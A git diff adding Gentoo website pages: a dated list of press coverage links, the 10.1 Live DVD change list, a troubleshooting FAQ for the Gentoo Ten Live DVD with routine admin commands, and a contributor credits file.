+    link="http://arstechnica.com/reviews/hardware/lc2464.ars">LinuxCertified LC2464 64-bit
+    Linux Laptop</uri> (<uri link="http://arstechnica.com">Arstechnica</uri>)
+  </li>
+  <li>
+    August 1st, 2005: <uri
+    link="http://workingknowledge.hbs.edu/item.jhtml?id=4928&amp;t=technology">How Toyota and
+    Linux Keep Collaboration Simple</uri> (<uri link="http://workingknowledge.hbs.edu">Harvard
+    Business School</uri>)
+  </li>
+  <li>
+    August 1st, 2005: <uri
+    link="http://www.redmondmag.com/features/article.asp?EditorialsID=503">Make Room for Linux
+    Apps</uri> (<uri link="http://www.redmondmag.com">Redmonmag.com</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>July 2005</title>
+<body>
+
+<ul>
+  <li>
+    July 26th, 2005: <uri
+    link="http://programming.newsforge.com/article.pl?sid=05/07/19/1713230">
+    Best practices for portable patches</uri> by <mail link="flameeyes@gentoo.org">
+    Diego "Flameeyes" Pettenò</mail> (<uri link="http://www.newsforge.com">Newsforge</uri>)
+  </li>
+  <li>
+    July 22nd, 2005: <uri link="http://www.eweek.com/article2/0,1895,1840084,00.asp">
+    Critical MySQL Flaw Found (by Gentoo Audit Team)</uri> (<uri
+    link="http://www.eweek.com">eWeek</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>June 2005</title>
+<body>
+
+<ul>
+  <li>
+    June 15th, 2005: <uri
+    link="http://enterprise.linux.com/enterprise/05/06/09/1413209.shtml?tid=121">64
+    bit performance in Gentoo Linux</uri> (<uri
+    link="http://enterprise.linux.com">Enterprise Linux.com</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>May 2005</title>
+<body>
+
+<ul>
+  <li>
+    May 9th, 2005: <uri
+    link="http://distrowatch.com/weekly.php?issue=20050509#1">Mini review: 
+    Gentoo Linux 2005.0</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>March 2005</title>
+<body>
+
+<ul>
+  <li>
+    March 29th, 2005: <uri
+    link="http://www.internetnews.com/dev-news/article.php/3493541">Gentoo
+    2005.0 All About Security</uri>
+  </li>
+  <li>
+    March 28th, 2005: <uri
+    link="http://www.gentoo.org/news/20050327-release-2005.0.xml">Gentoo Linux
+    2005.0 Released</uri> (<uri link="http://www.gentoo.org">Gentoo</uri>).
+    Referrals: 
+    <uri
+    link="http://linux.slashdot.org/linux/05/03/28/056221.shtml?tid=162&amp;tid=106">Slashdot</uri>, 
+    <uri link="http://lwn.net/Articles/129281/">LWN</uri>,
+    <uri link="http://www.osnews.com/comment.php?news_id=10121">OSNews</uri>,
+    <uri link="http://www.osdir.com/Article4747.phtml">OSDir</uri>,
+    <uri link="http://distrowatch.com/?newsid=02494#0">DistroWatch</uri>
+  </li>
+  <li>
+    March 18th, 2005: <uri
+    link="http://os.newsforge.com/os/05/03/04/2035214.shtml?tid=2">My
+    Workstation OS: Gentoo</uri> (<uri
+    link="http://www.newsforge.com">NewsForge</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>February 2005</title>
+<body>
+
+<ul>
+  <li>
+    February 28th, 2005: <uri
+    link="http://www.eweek.com/article2/0,1759,1770228,00.asp">Gentoo Linux Is
+    Coming into Its Own</uri> (<uri link="http://www.eweek.com">eWeek</uri>)
+  </li>
+  <li>
+    February 14th, 2005: <uri
+    link="http://www.linuxtimes.net/modules.php?name=News&amp;file=article&amp;sid=806">One week with Gentoo Linux</uri> (<uri link="http://www.linuxtimes.net/">LinuxTimes</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>January 2005</title>
+<body>
+
+<ul>
+  <li>
+    January 5th, 2005: <uri
+    link="http://www.linuxjournal.com/article/7438">Gentoo for All the Unusual
+    Reasons</uri> (<uri link="http://www.linuxjournal.com">LinuxJournal</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>December 2004</title>
+<body>
+
+<ul>
+  <li>
+    December 17, 2004: <uri link="http://lwn.net/Articles/114992/">Gentoo Linux
+    on AMD64</uri> (<uri link="http://lwn.net">LWN</uri>)
+  </li>
+  <li>
+    December 3, 2004: <uri
+    link="http://linuxdevices.com/news/NS3119470185.html">New kid on embedded
+    Linux block -- Gentoo</uri> (<uri
+    link="http://linuxdevices.com">LinuxDevices</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>November 2004</title>
+<body>
+
+<ul>
+  <li>
+    November 25, 2004: <uri
+    link="http://news.zdnet.co.uk/software/linuxunix/0,39020390,39175014,00.htm">Linux
+    goes Live on Gentoo CD release</uri> (<uri
+    link="http://news.zdnet.co.uk">UK's ZDNet</uri>)
+  </li>
+  <li>
+    November 17, 2004: <uri link="http://www.ppcnerds.org/Article231.html">A
+    glance at Gentoo 2004.3</uri> (<uri
+    link="http://www.ppcnerds.org">PPCNerds</uri>)
+  </li>
+  <li>
+    November 15, 2004: <uri
+    link="http://www.gentoo.org/news/20041114-release-2004.3.xml">Gentoo Linux
+    2004.3</uri> (<uri link="http://www.gentoo.org">Gentoo</uri>).
+    Referrals: <uri
+    link="http://news.linux.com/news/04/11/15/1849210.shtml?tid=96">Linux.com</uri>,
+    <uri link="http://www.osnews.com/story.php?news_id=8867">OSNews.com</uri>,
+    <uri
+    link="http://www.icetalk.com/gentoo-is-proud-to-present-the-world-with-gentoo-linux-2004-3!-N3320.html">IceTalk.com</uri>,
+    <uri
+    link="http://www.linuxlookup.com/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=2777&amp;mode=thread&amp;order=0&amp;thold=0">LinuxLookup.com</uri>, <uri link="http://linux.slashdot.org/linux/04/11/15/032206.shtml?tid=190&amp;tid=106">SlashDot</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>October 2004</title>
+<body>
+
+<ul>
+  <li>
+    October 31, 2004: <uri link="http://springfield.news-leader.com/business/today/1031-Programmer-215015.html">Programmer 
+    tries life with Linux</uri> (<uri
+    link="http://springfield.news-leader.com">NewsLeader</uri>)
+  </li>
+  <li>
+    October 2004: <uri
+    link="http://ieeexplore.ieee.org/xpl/abs_free.jsp?arNumber=1324553">Gentoo
+    Linux: The Next Generation of Linux</uri> (<uri
+    link="http://www.ieee.org">IEEE</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>September 2004</title>
+<body>
+
+<ul>
+  <li>
+    September 28, 2004: <uri
+    link="http://distrocenter.linux.com/distrocenter/04/09/23/1944240.shtml?tid=127&amp;tid=108">Gentoo in the server room?</uri> (<uri link="http://distrocenter.linux.com">Linux.com Distrocenter</uri>)
+  </li>
+  <li>
+    September 16, 2004: <uri
+    link="http://distrocenter.linux.com/distrocenter/04/09/10/2148249.shtml?tid=108&amp;tid=104">Review: Gentoo 2004.2</uri> (<uri link="http://www.linux.com">Linux.com</uri>)
+  </li>
+  <li>
+    September 1, 2004: <uri
+    link="http://www.tldp.org/LDP/LGNET/106/orr.html">Installing Gentoo</uri>
+    (<uri link="http://www.tldp.org/LDP/LGNET/">LinuxGazette</uri>).
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>July 2004</title>
+<body>
+
+<ul>
+  <li>
+    July 26th, 2004: <uri
+    link="http://www.gentoo.org/news/20040726-release2004.2.xml">Gentoo Linux
+    2004.2 released</uri> (<uri link="http://www.gentoo.org">Gentoo.org</uri>).
+    Referrals:
+    <uri link="http://www.osdir.com/Article1328.phtml">OSDir</uri>,
+    <uri
+    link="http://www.linuxlookup.com/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=2249&amp;mode=thread&amp;order=0&amp;thold=0">LinuxLookup</uri>
+  </li>
+  <li>
+    July 22th, 2004: <uri
+    link="http://www.desktoplinux.com/news/NS5611054435.html">VidaLinux is a
+    Gentoo-based desktop system</uri> (<uri
+    link="http://www.desktoplinux.com">DesktopLinux.com</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>June 2004</title>
+<body>
+
+<ul>
+  <li>
+    June 9, 2004: <uri link="http://lwn.net/Articles/87845/">Gentoo Package
+    Management with Portage</uri> (<uri link="http://lwn.net">LWN</uri>).
+  </li>
+  <li>
+    June 7, 2004: <uri link="http://www.gentoo.org/news/20040607-nfp.xml">Gentoo
+    Non-For-Profit Paperwork complete</uri> (<uri
+    link="http://www.gentoo.org">Gentoo</uri>). 
+    Referrals: 
+    <uri link="http://www.osdir.com/Article1011.phtml">OSDir</uri>,
+    <uri
+    link="http://www.linuxlookup.com/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=2041&amp;mode=thread&amp;order=0&amp;thold=0">LinuxLookup</uri>
+  </li>
+  <li>
+    June 6, 2004: <uri
+    link="http://www.gentoo.org/news/20040606-wasabi.xml">Gentoo announces
+    Wasabi</uri> (<uri link="http://www.gentoo.org">Gentoo</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>May 2004</title>
+<body>
+
+<ul>
+  <li>
+    May 10, 2004: <uri
+    link="http://www.distrowatch.com/weekly.php?issue=20040510#1">Source-based
+    Linux distributions from a beginner's perspective</uri> (<uri
+    link="http://www.distrowatch.com">Distrowatch</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>April 2004</title>
+<body>
+
+<ul>
+  <li>
+    April 28, 2004:
+    <uri link="http://www.internetnews.com/ent-news/article.php/3346821">Gentoo
+    in Transition?</uri> (<uri
+    link="http://www.internetnews.com">InternetNews</uri>)
+  </li>
+  <li>
+    April 28, 2004:
+    <uri link="http://www.gentoo.org/news/20040428-release2004.1.xml">Gentoo
+    2004.1</uri> (<uri link="http://www.gentoo.org">Gentoo</uri>).
+    Referrals:
+    <uri link="http://www.distrowatch.com/?newsid=01550#0">DistroWatch</uri>,
+    <uri link="http://www.osnews.com/comment.php?news_id=6873">OSNews</uri>,
+    <uri
+    link="http://www.icetalk.com/Gentoo-Linux-announces-Gentoo-Linux-2004-1-N2537.html">IceTalk</uri>,
+    <uri
+    link="http://lxer.com/module/newswire/view/11854/index.html">LXer</uri>,
+    <uri
+    link="http://slashdot.org/articles/04/04/28/1252259.shtml?tid=106&amp;tid=185&amp;tid=190">SlashDot</uri>,
+    <uri
+    link="http://linuxtoday.com/infrastructure/2004042802026NWSW">LinuxToday</uri>,
+    <uri link="http://www.osdir.com/Article489.phtml">OSDir</uri>,
+    <uri link="http://linuxpr.com/releases/6859.html">LinuxPR</uri>,
+    <uri
+    link="http://www.linuxelectrons.com/article.php?story=20040428100522655">LinuxElectrons</uri>,
+    <uri
+    link="http://www.linuxlookup.com/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=1910&amp;mode=thread&amp;order=0&amp;thold=0">LinuxLookup</uri>,
+    <uri
+    link="http://www.linuxorbit.com/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=2798">LinuxOrbit</uri>,
+    <uri
+    link="http://www.karkomaonline.com/article.php?story=20040428214416836">KarkomaOnline</uri>,
+    <uri link="http://lwn.net/Articles/82428/">LinuxWeeklyNews</uri>
+  </li>
+  <li>
+    April 26, 2004:
+    <uri link="http://www.gentoo.org/news/20040426-drobbins.xml">Daniel Robbins,
+    Gentoo Linux Chief Architect, announces retirement</uri> (<uri
+    link="http://www.gentoo.org">Gentoo</uri>). 
+    Referrals:
+    <uri
+    link="http://developers.slashdot.org/article.pl?sid=04/04/26/2259211&amp;mode=thread&amp;tid=106&amp;tid=185&amp;tid=190">Slashdot</uri>, 
+    <uri link="http://lwn.net/Articles/82248/">LWN</uri>,
+    <uri link="http://www.osnews.com/comment.php?news_id=6850">OSNews</uri>,
+    <uri link="http://www.distrowatch.com/01546">DistroWatch</uri>,
+    <uri
+    link="http://www.linuxbusinessweek.com/story/44614.htm">LinuxBusinessWeek</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>March 2004</title>
+<body>
+
+<ul>
+  <li>
+    March 22, 2004:
+    <uri link="http://lxer.com/module/newswire/view/8009/index.html">Dispelling
+    the myths of Gentoo Linux, an honest review</uri> (<uri
+    link="http://www.lxer.com">LXer</uri>). Referrals: 
+    <uri link="http://www.distrowatch.com/?newsid=01457#0">DistroWatch</uri>
+  </li>
+  <li>
+    March 15, 2004:
+    <uri
+    link="http://www.linuxdevcenter.com/pub/a/linux/2004/03/15/gentoo.html">Growing
+    with Gentoo</uri> (<uri
+    link="http://www.linuxdevcenter.com">LinuxDevCenter</uri>)
+  </li>
+  <li>
+    March 2, 2004:
+    <uri link="http://www.osnews.com/story.php?news_id=6223">Gentoo AMD64 moves
+    along</uri> (<uri link="http://www.osnews.com">OSNews</uri>).
+  </li>
+  <li>
+    March 1, 2004: 
+    <uri link="http://www.gentoo.org/proj/en/releng/release/2004.0/releng/2004.0-press-release.txt">Gentoo Linux 2004.0 Released</uri> (<uri link="http://www.gentoo.org">Gentoo</uri>). 
+    Referrals: 
+    <uri link="http://www.osnews.com/story.php?news_id=6206">OSNews</uri>, 
+    <uri link="http://slashdot.org/comments.pl?sid=98807&amp;cid=8430076">Slashdot</uri>,
+    <uri link="http://linuxtoday.com/infrastructure/2004030102226NWSW">LinuxToday</uri>,
+    <uri link="http://lwn.net/Articles/73617/">lwn.net</uri>,
+    <uri link="http://linuxpr.com/releases/6700.html">LinuxPr</uri>,
+    <uri link="http://www.desktoplinux.com/news/NS3836451493.html">DesktopLinux</uri>,
+    <uri link="http://www.linuxgazette.com/node/view/8783">LinuxGazette</uri>,
+    <uri link="http://www.distrowatch.com/?newsid=01401">DistroWatch</uri>,
+    <uri link="http://www.linuxelectrons.com/article.php?story=20040229235108102">LinuxElectrons</uri>,
+    <uri link="http://pr.linuxjournal.com/article.php?sid=954&amp;mode=thread&amp;order=0">LinuxJournal PR</uri>.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>January 2004</title>
+<body>
+
+<ul>
+  <li>
+    January 15, 2004: <uri
+    link="http://www.linuxworldexpo.com/linuxworldny/V40/press.cvn?id=11&amp;p_id=28">LinuxWorld Conference &amp; Expo Names Finalists for Product Excellence Awards</uri> (<uri link="http://www.linuxworldexpo.com">Linux World Expo</uri>)
+  </li>
+  <li>
+    January 6, 2004: <uri
+    link="http://www.opensistemas.com/Gentoo_for_Zaurus.715.0.html">Gentoo for
+    Zaurus</uri> (<uri link="http://www.opensistemas.com">OpenSistemas</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>December 2003</title>
+<body>
+
+<ul>
+  <li>
+    December 15, 2003: <uri
+    link="http://www.distrowatch.com/weekly.php?issue=20031215">Distrowatch
+    Weekly Edition</uri> (<uri
+    link="http://www.distrowatch.com">Distrowatch</uri>)
+  </li>
+  <li>
+    December 9, 2003: <uri
+    link="http://news.com.com/2100-7344-5117271.html?tag=nefd_lede">Developers
+    take Linux attacks to heart</uri> (<uri
+    link="http://news.com.com">News.com</uri>)
+  </li>
+  <li>
+    December 4, 2003: <uri
+    link="http://www.linuxjournal.com/article.php?sid=7002">Linux Review: Gentoo Linux</uri>
+    (<uri link="http://www.linuxjournal.com">Linux Journal</uri>)
+  </li>
+  <li>
+    December 3, 2003: <uri link="http://www.gentoo.org/news/20031203-news.xml">Gentoo: 2004 and beyond</uri>
+    (<uri link="http://www.gentoo.org">Gentoo</uri>)
+  </li>   
+  <li>
+    December 3, 2003: <uri link="http://www.gentoo.org/news/20031203-glsa.xml">Gentoo rsync server compromised</uri> 
+    (<uri link="http://www.gentoo.org">Gentoo</uri>). Referrals: <uri
+    link="http://lwn.net/Articles/61230/">Linux Weekly News</uri>, <uri
+    link="http://slashdot.org/article.pl?sid=03/12/03/1921235&amp;mode=thread&amp;tid=106&amp;tid=117&amp;tid=126&amp;tid=172&amp;tid=185&amp;tid=99">Slashdot</uri>, 
+    <uri link="http://zdnet.com.com/2100-1105-5113227.html">ZDNet</uri>,
+    <uri link="http://news.com.com/2100-7349_3-5113227.html">News.com</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>November 2003</title>
+<body>
+
+<ul>
+  <li>
+    November 17, 2003: <uri
+    link="http://www.linuxelectrons.com/staticpages/index.php?page=20031117143738983">Gentoo 1.4 Review</uri>
+    (<uri link="http://www.linuxelectrons.com">Linux Electrons</uri>)
+  </li>
+  <li>
+    November 17, 2003: <uri link="http://lwn.net/Articles/59138/">The Success of
+    Gentoo</uri> (<uri link="http://lwn.net">Linux Weekly News</uri>)
+  </li>
+  <li>
+    November 11, 2003: <uri
+    link="http://www.gentoo.org/news/20031111-g5.xml">Gentoo for PowerPC G5 now
+    available</uri> (<uri link="http://www.gentoo.org">Gentoo</uri>)
+  </li>
+  <li>
+    November 5, 2003: <uri
+    link="http://newsvac.newsforge.com/article.pl?sid=03/11/06/0254253&amp;mode=thread&amp;tid=115&amp;tid=120&amp;tid=136&amp;tid=137">OSSI Releases eGovernment Web Services Platform</uri> (<uri link="http://www.newsforge.com">News Forge</uri>)
+  </li>
+</ul>
+</body>
+</section>
+<section>
+<title>October 2003</title>
+<body>
+
+<ul>
+  <li>
+    October 24, 2003: <uri
+    link="http://www.gentoo.org/news/20031024-webapps.xml">Gentoo Linux is
+    improving support for virtual hosting websites</uri> (<uri
+    link="http://www.gentoo.org">Gentoo</uri>)
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/10.1_changes.txt b/xml/htdocs/proj/en/pr/releases/10.0/10.1_changes.txt
new file mode 100644
index 00000000..7c391471
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/10.1_changes.txt
@@ -0,0 +1,47 @@
+Changes to 10.1 Media
+
+Software Additions:
+   x11-drivers/linuxwacom
+   net-wireless/ipw2200-firmware
+   sys-fs/nilfs-utils
+   x11-apps/xinput
+   x11-apps/xev
+   www-plugins/gecko-mediaplayer
+   media-video/gnome-mplayer
+   x11-themes/gtk-engines-qtcurve
+   x11-themes/gtk-engines-qt
+   x11-themes/qtcurve-qt4
+   x11-misc/obconf
+   x11-misc/menumaker
+   app-admin/conky
+   media-gfx/scrot
+   app-misc/dtach
+   app-backup/flexbackup
+   net-dns/dnsmasq
+   net-misc/bridge-utils
+   games-strategy/wesnot
+   games-simulation/simutrans
+   games-action/supertuxkart
+   games-simulation/lincity-ng
+   games-arcade/lbreakout2
+   games-strategy/hedgewars
+   app-cdr/brasero
+
+Kernel changes:
+   1. Unset CONFIG_IDE section
+   2. Switched to lzma compression for kernel
+   3. Added extra netfilter modules
+   4. Added extra iptables modules
+   5. WiMAX support
+   6. Firewire support
+   7. ISDN support
+   8. Touchscreen support
+   9.  Added extra I2C bus support
+  10. Added extra video support modules
+  11. Added extra cryptography modules
+  12. KVM support
+  
+  
+  
+  
+  
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/faq.xml b/xml/htdocs/proj/en/pr/releases/10.0/faq.xml
new file mode 100644
index 00000000..b1fdc0f5
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/faq.xml
@@ -0,0 +1,384 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/doc/en/faq.xml">
+  <title>Gentoo Ten Live DVD Frequently Asked Questions</title>
+<author title="Author">
+  <mail link="dabbott@gentoo.org">David Abbott</mail>
+</author>
+<author title="Reviewer">
+  <mail link="email@missionaccomplish.com">Fernando V. Orocu</mail>
+</author>
+<author title="Reviewer">
+  <mail link="tampakrap@gentoo.org">Theo Chatzimichos</mail>
+</author>
+<author title="Editor">
+  <mail link="solar@gentoo.org">Ned Ludd</mail>
+</author>
+
+<abstract>
+This FAQ is a collection of questions and answers collected from ten mail list
+and from IRC.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2009-10-08</date>
+
+<faqindex>
+<title>FAQ</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+The 10th anniversary Gentoo hybrid media is made by the community for the
+community. It was created with the help of gentoo developers from  around the
+world and users alike. Thank you all for your contributions and suggestions!
+Gentoo 10 Years October 4th, 2009.
+</p>
+
+<p>
+  <uri link="gentoo-ten-team.txt"> Your Gentoo Ten Team</uri>
+</p>
+
+<p>
+Please note that this is simply a list of common questions. Please read the
+handbook and/or man pages to gain a greater understanding of how Gentoo and
+GNU/Linux works. For answers to questions which may not be answered here, please
+visit the forums and bugzilla.
+</p>
+
+</body>
+</section>
+</faqindex>
+
+<chapter>
+<title>Getting Started</title>
+
+<section id="arch">
+<title>Download the correct iso for your hardware</title>
+<body>
+
+<p>
+The livedvd-x86-x86_64 will work on x86 or x86_64. If your arch is x86 boot with
+the default. If your arch is amd64 boot with gentoo64. 
+</p>
+
+<p>
+The livedvd-amd64 is for x86-64 specification. Boot with the default. 
+</p>
+
+</body>
+</section>
+
+<section id="options">
+<title>Boot options for the LiveDVD</title>
+<body>
+
+<p>
+This <uri
+  link="http://dev.gentoo.org/~dabbott/pr/livedvd-readme.txt">README</uri> lists
+the possible command line options that can be used to tweak the boot process of
+this DVD.  This lists the Gentoo-specific options, along with a few options that
+are built-in to the kernel, but that have been proven very useful to our users.
+Also, all options that start with "do" have a "no" inverse, that does the
+opposite.  For example, "doscsi" enables SCSI support in the initial ramdisk
+boot, while "noscsi" disables it.
+</p>
+
+</body>
+</section>
+
+<section id="default">
+<title>Default root and user password</title>
+
+<body>
+
+<p>
+The default user is gentoo and the password is the same.
+</p>
+
+<pre caption="How do I become root?">
+$ <i>sudo su -</i>
+</pre>
+
+<p>
+You can use <c>passwd</c> to change the password for the user you are logged 
+into. As root, you can change any user password by issuing the command
+<c>passwd username</c> For extra options and setting, please <c>man passwd</c>.
+</p>
+
+</body>
+</section>
+
+<section id="usb">
+<title>Can I copy the image to a usb stick?</title>
+
+<body>
+
+<p>
+Yes, to determine your device before you plug it in open a terminal and tail
+/var/log/messages.
+</p>
+<pre caption="Determine Device">
+# <i>tail -f /var/log/messages</i>
+</pre>
+<note>
+You will need at least a 4GB device!
+</note>
+<pre caption="Copy the image">
+# <i>dd if=image.iso of=/dev/sdb</i>
+</pre>
+<impo>
+Do not point to a partition number!
+</impo>
+<warn>
+Not all bios support booting from usb device. Consult your motherboard
+documentation first!
+</warn>
+
+</body>
+</section>
+
+<section id="autologin">
+<title>Can I resume the autologin?</title>
+<body>
+
+<p>
+To resume the KDM autologin, you need to press the ESC key and wait for the
+timeout to pass or just hit the enter key to login.  
+</p>
+
+</body>
+</section>
+
+<section id="wireless">
+<title>Can I install firmware for my wireless card?</title>
+<body>
+
+<p>
+Sure, you just need to copy the firmware to /lib/firmware and reload your
+wireless cards modules. In the example below I install the firmware for a Ralink
+RT2501USB wireless LAN chipset, that requires non-free firmware for their
+operation, which can not be included on the Live DVD because of license issues.
+I copy the firmware from a 2GB usb stick.
+</p>
+
+<pre caption="Install the firmware">
+<comment>First lets mount the usb stick</comment>
+# <i>mkdir /mnt/pin</i>
+# <i>mount /dev/sdb1 /mnt/pin</i>
+# <i>cp /mnt/pin/firmware/rt73.bin /lib/firmware</i>
+<comment>Reload modules so the firmware is included.</comment>
+# <i>modprobe -r rt73usb  rt2x00usb  rt2x00lib</i>
+<comment>Time to insert modules amd load firmware.</comment>
+# <i>modprobe rt73usb</i>
+<comment>Lets restart wicd to pickup wlan0</comment>
+# <i>/etc/init.d/wicd restart</i>
+</pre>
+</body>
+</section>
+
+<section id="bootspeed">
+<title>Can I speed up the boot process?</title>
+<body>
+
+<p>
+For the slow boot, that is in the process of getting some of the fat removed to
+speed it up. Livecd tools had not been worked on much since 2007 as it was not
+really needed without a Live CD or DVD. With the switch to xorg-server-1.5 and
+above some scripts that were needed before are not needed now. We are picking
+away at it little by little. One script that runs /sbin/x-setup and then calls
+livecd-functions.sh is going to be eliminated or revised and that should really
+help, so we are working on speeding it up :)
+</p>
+
+<p><b>To speed up the boot try this at the boot prompt.</b></p>
+<pre caption="Fast Boot Test">
+<i>gentoo-nofb nox</i>
+<comment>Once you are returned to the command line.</comment>
+<i>/etc/init.d/xdm start</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Trouble Shooting</title>
+
+<section id="xorg-server">
+<title>Xorg</title>
+<body>
+
+<p>
+The LiveDVD uses xorg-server-1.6.3 and hal-0.5.13. X.Org is well on its way to
+getting rid of lots of xorg.conf magic and moving it into obscure elements of
+HAL. We currently use a blank /etc/X11/xorg.conf and let the magic of hal do its
+thing. Most hardware is supported but not all.  
+</p>
+ 
+<p>
+If you can not start X then it is useful to paste /var/log/Xorg.0.log so others
+can view it for trouble shooting.  
+</p>
+
+<p>
+You can paste the log like this from the command line.
+</p>
+
+<pre caption="Paste log from command line">
+# <i>curl -F file=@/var/log/Xorg.0.log  nopaste.com/a</i>
+</pre>
+
+<p>
+Some people have reported success by creating an xorg.conf file generated from X
+-configure and renaming from xorg.conf.new and copy to /etc/X11 and hand
+editing. I would suggest removing all keyboard and mouse sections plus removing
+the references to modules as this is handled by xorg and hal automatically.
+Below is an edited xorg.conf with the driver changed to "vesa" which should work
+for most.  </p>
+
+<pre caption="Create /etc/X11/xorg.conf">
+$ <i>sudo su -</i>
+# <i>X -configure</i>
+# <i>cp /root/xorg.conf.new /etc/X11/</i>
+# <i>cd /etc/X11/</i>
+# <i>cp xorg.conf.new xorg.conf</i>
+# <i>nano -w xorg.conf</i>
+# <i>/etc/init.d/xdm restart</i>
+</pre>
+
+<p>
+Once edited it should be similar to the one I created below.
+</p>
+
+<pre caption="xorg.conf">
+Section "ServerLayout"
+  Identifier     "X.org Configured"
+  Screen      0  "Screen0" 0 0
+EndSection
+
+Section "Files"
+  FontPath     "/usr/share/fonts/misc/"
+  FontPath     "/usr/share/fonts/TTF/"
+  FontPath     "/usr/share/fonts/OTF"
+  FontPath     "/usr/share/fonts/Type1/"
+  FontPath     "/usr/share/fonts/100dpi/"
+  FontPath     "/usr/share/fonts/75dpi/"
+EndSection
+
+Section "Monitor"
+  Identifier   "Monitor0"
+  VendorName   "Monitor Vendor"
+  ModelName    "Monitor Model"
+EndSection
+
+Section "Device"
+  Identifier  "Card0"
+  Driver      "vesa"
+EndSection
+
+Section "Screen"
+  Identifier "Screen0"
+  Device     "Card0"
+  Monitor    "Monitor0"
+    SubSection "Display"
+    Viewport   0 0
+    Depth     24
+    EndSubSection
+EndSection
+</pre>
+
+</body>
+</section>
+
+<section id="xdm">
+<title>Restart kdm</title>
+
+<body>
+<p>
+On some graphic chipsets it may become necessary to restart kdm if you
+experience a blinking cursor in the top left of the screen or xorg-server
+appears to have frozen.
+</p>
+
+<pre caption="Restart kdm">
+<comment>First lets return to the command line.</comment>
+# <i>Ctrl+Alt+F1</i>
+<comment>Now we can restart kdm.</comment>
+# <i>/etc/init.d/xdm restart</i>
+</pre>
+
+</body>
+</section>
+
+<section id="sound">
+<title>Raise PCM volume</title>
+
+<body>
+  
+<p>
+On some chipsets (snd-hda-intel) it may be necessary to raise the PCM volume.
+</p>
+
+<pre caption="alsamixer">
+First lets check current values.
+# <i>alsamixer</i>
+</pre>
+
+<p>
+For more information read the <uri
+  link="http://www.gentoo.org/doc/en/alsa-guide.xml">Gentoo Linux ALSA
+  Guide.</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>More Information</title>
+<section id="more-info">
+<title>What if my question has not been answered?</title>
+
+<body>
+  
+<p>
+Thats an easy one, come join us on #gentoo-ten and someone may have an answer or
+help us fix some bugs. :)
+</p>
+
+</body>
+</section>
+
+<section id="package-list">
+<title>Is there a list of all the packages included?</title>
+
+<body>
+  
+<p>
+Yes, please have a look at the <uri link="ten_package_list.txt">package list.</uri>
+</p>
+
+</body>
+</section>
+
+<section id ="changes">
+<title>Is there a list of the changes from one release to another?</title>
+
+<body>
+  
+<p>
+You are in luck, here are the <uri link="10.1_changes.txt">changes</uri> for the
+10.1 release.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/pr/releases/10.0/gentoo-ten-team.txt b/xml/htdocs/proj/en/pr/releases/10.0/gentoo-ten-team.txt
new file mode 100644
index 00000000..dedc7b36
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/gentoo-ten-team.txt
@@ -0,0 +1,54 @@
+   ______           __                 ______         
+  / ____/__  ____  / /_____  ____     /_  __/__  ____ 
+ / / __/ _ \/ __ \/ __/ __ \/ __ \     / / / _ \/ __ \
+/ /_/ /  __/ / / / /_/ /_/ / /_/ /    / / /  __/ / / /
+\____/\___/_/ /_/\__/\____/\____/    /_/  \___/_/ /_/ 10-04-2009
+
+The 10th anniversary Gentoo hybrid media is made by the community for 
+the community. It was created with the help of Gentoo developers from 
+around the world and users alike. Thank you all for your contributions 
+and suggestions! Gentoo 10 Years October 4th, 2009.
+
+We would like to thank the following people for their various 
+contributions.
+
+solar - Project Initiator, Sponsor
+Fernando Orocu - Build Lead
+Matthew Summers - Gentoo Foundation Board of Trustees
+Ben Stedman - Artist
+a3li - Artist
+dabbott - Public Relations
+Zorry - Community Sponsor
+bonsaikitten - Developer, Sponsor
+WilliamH - Accessibility
+Keith-BlindUser - Speakup Tester
+lack - Fluxbox Team
+leio - Gnome Team
+mrpouet - Gnome Team
+nirbheek - Gnome Team
+jmbsvicetto - KDE Team
+tampakrap - KDE Team
+scarabeus - KDE Team, X11 Team
+reavertm - KDE Team
+wired - KDE Team
+blackace - Xfce4 Team
+darkside - Xfce4 Team
+ssuominen - Xfce4 Team
+robbat2 - Infra Lead
+Willikins - Excellent Bot
+remi - Developer, X11 Team
+renihs - Collaborator
+Tester - Collaborator
+spock - Splash Collaborator
+* - Many Others
+
